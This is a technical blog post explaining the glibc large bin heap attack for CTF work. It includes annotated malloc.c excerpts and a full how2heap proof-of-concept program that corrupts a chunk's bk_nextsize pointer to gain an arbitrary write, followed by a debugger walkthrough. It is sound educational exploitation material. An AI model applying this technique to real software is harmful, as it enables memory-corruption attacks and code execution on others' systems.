TL;DR

Largebin attack is the future, which is yet to be explored and studied by attackers. I will separate this topic into two articles—this one we are looking at, for concept illustration & attack demo letting us have a picture on the attack methodology; and a writeup for a recent pwn CTF (TravelGraph) related to heap exploitation on large bin.

Large Bin

What is it

We will skip baby introduction for fundamental knowledge of large bin. Just a simple recap and summary:

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

The large-bin chunk is special, for it has 2 extra pointers stored inside—aka fd_nextsize & bk_nextsize. In my perspective, it looks like:

In 64-bit system, the large bins store free'd chunks over size 0x400. Each large bin is a double linked list storing different sizes of chunks in a certain range:

Group-------Amount--------Offset
1-----------32------------64(0x40)
2-----------16------------512(0x200)
3-----------8-------------4096(0x1000)
4-----------4-------------32768(0x8000)
5-----------2-------------262144(0x40000)
6-----------1-------------unlimited

For example, group 1 has 32 large bin lists from size 0x400, 0x440, 0x480 … to 0xC00, and bin list 0x400 can store multiple chunks in size between 0x400 to 0x440.

  • fd_nextsize points to its next smaller chunk, bk_nextsize points to its larger chunk.
  • And the fd, bk pointers points to the same-size chunks following by the inserted time sequence.
  • for the same–size list, only the first inserted chunk of the specific size owns the fd_nextsize and bk_nextsize pointers.
  • The bk_nextsize of largest chunk points to the smallest one in the bin list; and the fd_nextsize of smallest chunk points to the largest one.

fd_nextsize points to its next smaller chunk, bd_nextsize points to its larger chunk. And the fd, bk pointers points to the same-size chunks following by the inserted time sequence:

When the heap allocator looks for a suitable chunk inside a large bin, it searches from the smallest to largest direction.

How it works

The attack happens in the process when a chunk is inserted into large bin, which triggers unlink action and changes pointers inside relevant chunks. The malloc.c in Glibc 2.39 source code at line 4168 introduces how it works:

// if size matches small bin range, run previous code
// if size matches large bin range, run following code
else
    {
      victim_index = largebin_index (size);
      bck = bin_at (av, victim_index);
      fwd = bck->fd;

      /* maintain large bins in sorted order */
      // if there's more than 1 chunk for the same size
      // which is more complicate here
      // so we can exploit under easier condition in the else branch
      if (fwd != bck)
        {
          /* Or with inuse bit to speed comparisons */
          size |= PREV_INUSE;
          /* if smaller than smallest, bypass loop below */
          assert (chunk_main_arena (bck->bk));
          if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
            {
              fwd = bck;
              bck = bck->bk;
				
              victim->fd_nextsize = fwd->fd;
              victim->bk_nextsize = fwd->fd->bk_nextsize;
              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            }
          else
          // if there's only 1 chunk for the specific size
          // so that we don't need to consider the 2nd linked list
          // just focusing on fd_nextsize & bk_nextsize
            {
              assert (chunk_main_arena (fwd));
              while ((unsigned long) size < chunksize_nomask (fwd))
                {
                // the fwd now is the next-size chunk in the bin list
                  fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));	// verify if it's a valid free'd chunk
                }

              if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
                /* Always insert in the second position.  */
                fwd = fwd->fd;
              else
                {
                // vuln 1
                  victim->fd_nextsize = fwd;
                  // hijack the bk_nextsize pointer of fwd in advance
                  // so the bk_nextsize of victim pointers to where we want
                  victim->bk_nextsize = fwd->bk_nextsize;
                  if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                  fwd->bk_nextsize = victim;
                  // addr+4 (fd_nextsize) is overwritten with the address of victim
                  victim->bk_nextsize->fd_nextsize = victim;
                }
              bck = fwd->bk;
              if (bck->fd != fwd)
                malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
            }
        }
      else
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }

// vuln 2
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
// we can overwrite the value in another address
bck->fd = victim;	

In our exploitation scenario, the chunk being inserted into the large bin must be different from the one existed in the bin list - our goal is to manipulate the bk_nextsize pointer (explain later). Because if they are in the same size, only the values of fd or bk pointer for largebin chunk will be manipulated directly:

if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;

Therefore, we need to make them different to manipulate the fd_nextpointer or bk_nextpointer, which is not directly modifying the pointer itself, but changing the value of an address relative to it. For example, the implementation fd_nextsize->bk=vicim does not modify the fd_nextsize pointer, but changing the value, by writing a memory address of the victim, in the position of its bk pointer (+0x20). Thus we will be able to write an address into our target.

A short recap, if we are dealing with Glibc 2.29 or earlier, which source code looks like:

// If inserted chunk is smaller
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
// If inserted chunk is larger
victim->bk_nextsize->fd_nextsize = victim;

It means when the chunk is going to be inserted to the large bin from unsorted bin, it depends on 2 different scenarios—if it's smaller than the existed chunk in large bin, run the code in 1st line; otherwise, run the 2nd line code.

But since Glibc 2.30, there's a security check for integrity when the chunk is inserted into large bin, that the exploit no longer works for scenario when the inserted chunk is larger than the smallest chunk in large bin list. Therefore, we have to make it smaller than the existed one, then the code runs:

victim->bk_nextsize->fd_nextsize = victim;

Thus, address of the inserted chunk (victim) will be written to existed largebin chunk's fd_nextsize pointer in normal situation. But if we manage to hijack the bk_nextszie pointer of the largebin chunk, the value in memory location of bk_nextsize + 0x20 (aka bk_nextsize->fd_nextsize) will be then written as the address of the inserted chunk (victim).

Prerequisites

  • Can change the data in a Large-bin Chunk (p1).
  • The inserted new chunk (p2) from unsorted bin to the large bin list, must be placed under the hijacked Large-bin chunk (which bk_nextsize pointer has been maliciously overwritten)—meaning size p2 < p1.

Vulnerability

Vuln 1

Once we are able to modify the bk_nextsize pointer for a free'd chunk inside the large bin (Using techniques like UAF or chunk overlapping), and insert a new chunk under it from unsorted bin (let it be smaller than the existed one):

The Glibc code executes and modify relevant pointers:

// Inserted chunk address +0x28 will be modified
victim->bk_nextsize = fwd->bk_nextsize    // fwd = p1
// Then it tries to link the vicim by storing its address in p1's fd_nextsize ptr
victim->bk_nextsize->fd_nextsize = victim;

In the normal perspective of Glibc, it intends to create 2 new links for the operation to insert the victim chunk (p2):

  • Move the value of bk_nextsize pointer of the larger chunk (p1) to the bk_nextsize pointer of p2 (e.g. p1's bk_nextsize pointer used to point to itself (address of p1) when there's only one chunk in the largebin chunk. Now p2's bk_nextsize pointer should point to p1, which makes sense.)
  • The 2nd line code is then executed to to make sure the fd_nextsize pointer of p1 now point to the address of p2, which make sense if we insert p2 as the next-size chunk (smaller) in the large bin list.

In a mathematic perspective, the code is equivalent to:

// Hijack p1's bk_nextsize pointer, overwrite it as target_addr-0x20
// Then, victim->bk_nextsize = target_addr-0x20, no longer pointer the intended address (p1)
// But the binary doesn't know, it still tries to modify "p1"'s fd_nextsize pointer
// As we made: victim->bk_nextsize == target_addr-0x20
target_addr-0x20->fd_nextsize = victim;
// Namely, (target_addr-0x20) + 0x20 = victim
*(target_addr) = victim;

Eventually, the value stored at target_addr is overwritten to the address of victim. As long as we hijack p1's bk_nextsize to target_addr-0x20, we compromise a write primitive (restricted with value of a heap address) to arbitrary memory location.

Vuln 2

This is less common in exploitation, actually nothing relateds to LargeBin Attack, but yet a possible way for exploitaton. The execution flow continues after the binning process:

// No matter what bin the chunk belongs to
bck = fwd->bk;
// ......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

Equivalent to:

bck->fd = victim;
// Since bck = fwd->bk
// aka
(fwd->bk)->fd = victim;
// If we hijack the value at &(fwd->bk) as target_addr-0x10
// (fwd->bk)->fd means 
(target_addr-0x10) + 0x10 = victim;
// aka
target_addr = victim	

And if we are able to hijack the bk pointer, as depicted above, eventually, we can modify the value stored in the target_addr.

Demo

A demo program introducing Large Bin Attack from how2heap for Glibc version 2.39, which has been updated since 2.30.

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
		fwd = bck;
		bck = bck->bk;
		victim->fd_nextsize = fwd->fd;
		victim->bk_nextsize = fwd->fd->bk_nextsize;
		fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
	}


*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
  
  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

Walkthrough:

When we debug and run, it's assuming the target we want to overwrite locates at 0x7fff70665d30, with a null value 0x0000000000000000. Then we allocate a large chunk [p1] (@0x22f5290) and another small chunk [g1] to prevent consolidate:

size_t target = 0;
size_t *p1 = malloc(0x428);	// 0x22f52b0
size_t *g1 = malloc(0x18);

We also allocate a second large chunk [p2] (0x22f56e0), which should be smaller than [p1] and belong to the same large bin, so that we can later insert [p1] above [p2] in the large bin list:

size_t *p2 = malloc(0x418);	// 0x22f5700
size_t *g2 = malloc(0x18);

Free the larger chunk [p1], which will first be put into the unsorted bin (FIFO). Then allocate a chunk larger than [p1] (no suitable chunk found in unsorted bin to answer the request), so that [p1] will then be moved to large bin according to the rules of Ptmalloc:

free(p1);
size_t *g3 = malloc(0x438);

We can verify the memory layout in GDB:

Free the smaller chunk [p2]:

free(p2);

At this point, we have one chunk in large bin [p1], and one chunk in unsorted bin [p2]:

Now modify the p1->bk_nextsize (p1[3]) to [target-0x20] (0x7fff70665d10), assuming are able to hijack the large bin chunk as a primitive:

p1[3] = (size_t)((&target)-4);	// target-0x20

Finally, allocate another dummy chunk larger than [p2] to place [p2] (who is smaller than [p1]) into large bin:

size_t *g4 = malloc(0x438);

Since Glibc does not check chunk->bk_nextsize if the newly inserted chunk is smaller than smallest, the modified p1->bk_nextsize does not trigger any error. Thus the bin list looks fine:

Upon inserting [p2] into large bin, [p1]->bk_nextsize->fd->nexsize is overwritten to address of the inserted chunk [p2] (0x22f56e0), but we don't actually care:

In out case here, we care only about the value in the target address, which is now overwritten to address of the victim chunk [p2] (0x22f56e0). The modified p1[3] (bk_nextsize of [p1]) -> fd_nextsize now points to victim chunk [p2], because p1->bk_nextsize->fd_nextsize = p2 (victim):

The LargeBin Attack is finished – we perform an arbitrary write (to target).

CTF Writeup

In real scenario, we can hijack the value in specific addresses for some important functions (i.e. _IO_list_all, and that value can a heap chunk we are in control. The CTF I used to explain the attack methodology can be hard, so I will further continue the writeup of pwn chanllenge TravelGraph in another post.

References

Large Bin Attack - CTF Wiki (ctf-wiki.org)

how2heap/glibc_2.39/large_bin_attack.c at master · shellphish/how2heap (github.com)


if (B1N4RY) return 1; else return (HACK3R = 0xdeadc0de);